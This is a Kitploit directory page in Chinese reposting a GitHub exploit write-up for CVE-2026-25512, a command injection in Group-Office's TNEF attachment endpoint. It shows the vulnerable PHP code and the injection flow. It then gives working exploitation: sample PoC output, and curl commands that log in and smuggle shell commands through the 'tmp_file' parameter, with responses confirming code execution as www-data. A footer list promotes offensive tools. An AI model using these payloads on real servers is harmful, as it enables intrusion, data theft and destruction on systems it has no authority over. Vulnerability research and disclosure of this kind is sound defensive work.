Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25512 — RCE - 通过 TNEF 附件处理器实现的命令注入 | Kitploit
工具/GitHubGitHub/numberoreo1/cve-2026-25512
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubnumberoreo1/cve-2026-25512

CVE-2026-25512

RCE - 通过 TNEF 附件处理器实现的命令注入

查看仓库
349个月前尚未审核
分享

CVE-2026-25512:Group-Office 的 TNEF 处理器中存在命令注入导致的远程代码执行

CVE-2026-25512 Critical CVSS 9.4

CWE-78

CVSS 4.0 向量 : CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

目录

  • 概述
  • 受影响版本
  • 技术细节
    • 根本原因
    • 从源头到汇聚点的流程
  • 利用
    • 自动利用
    • 手动利用
  • 影响
  • 时间线
  • 致谢
  • 参考

概述

在 Group-Office 中发现了一个**严重远程代码执行(RCE)**漏洞。端点 email/message/tnefAttachmentFromTempFile 将用户控制的参数 tmp_file 直接拼接进 exec() 调用。通过在 tmp_file 中注入 shell 元字符,经过身份验证的攻击者可以在服务器上执行任意系统命令。


受影响版本

产品受影响版本
Group-Office≤ 26.0.4

技术细节

根本原因

tmp_file 参数取自 HTTP 请求,并未经过转义或验证就被用于构建 shell 命令。这导致在 tnef 提取命令中发生命令注入,而该命令以 Web 服务器的权限运行。

漏洞代码(www/modules/email/controller/MessageController.php):

protected function actionTnefAttachmentFromTempFile(array $params)
{
    $tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
    $tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);

    chdir($tmpFolder->path());
    exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
    if($retVar!=0)
        throw new \Exception("TNEF extraction failed: ".implode("\n", $output));

    exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
    if($retVar!=0)
        throw new \Exception("ZIP compression failed: ".implode("\n", $output));

    $zipFile = $tmpFolder->child('winmail.zip');
    \GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
    $zipFile->output();

    $tmpFolder->delete();
}

从源头到汇聚点的流程

阶段描述
源头index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=... 中的 tmp_file 查询参数
传播new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file'])
汇聚点exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...)

由于 tmp_file 被拼接进 shell 命令,诸如 ;、&、反引号或 $() 之类的元字符允许攻击者附加任意命令。

身份验证要求: 是。MessageController 强制执行 security_token CSRF 检查,因此需要有效的会话和令牌。


利用

自动利用

PoC 脚本会登录、获取 security_token、通过 tmp_file 注入 payload,并通过读取 ZIP 响应中的 rce.txt 来验证执行结果。

python3 poc.py

示例输出:

➜  ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)

手动利用

步骤 1:登录

curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
    --data-urlencode "r=core/auth/login" \
    --data-urlencode "username=YOUR_USERNAME" \
    --data-urlencode "password=YOUR_PASSWORD" \
    -H "X-Requested-With: XMLHttpRequest"

响应:

{
  "success": true,
  "groupoffice_version": "26.0.4",
  "user_id": 2,
  "security_token": "XXXXXXX",
  "sid": "XXXXXXXXXXX"
}

步骤 2:触发 RCE

curl -G "http://TARGET:PORT/index.php" \
    -b cookies.txt \
    --data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
    --data-urlencode "security_token=YOUR_TOKEN" \
    --data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
    -o command_output.zip

结果:

➜  unzip command_output.zip
Archive:  command_output.zip
  inflating: rce.txt

➜  cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)

影响

类别严重级别描述
机密性高任意命令执行允许读取敏感文件。
完整性高攻击者可以修改或删除服务器文件。
可用性高攻击者可以中断服务或删除关键数据。

致谢

  • 发现者: Oreo

参考

  • Group-Office 官方网站
  • MITRE CVE-2026-25512
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    352
  • 4

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    291

探索所有工具

浏览我们的工具集合

查看所有工具 →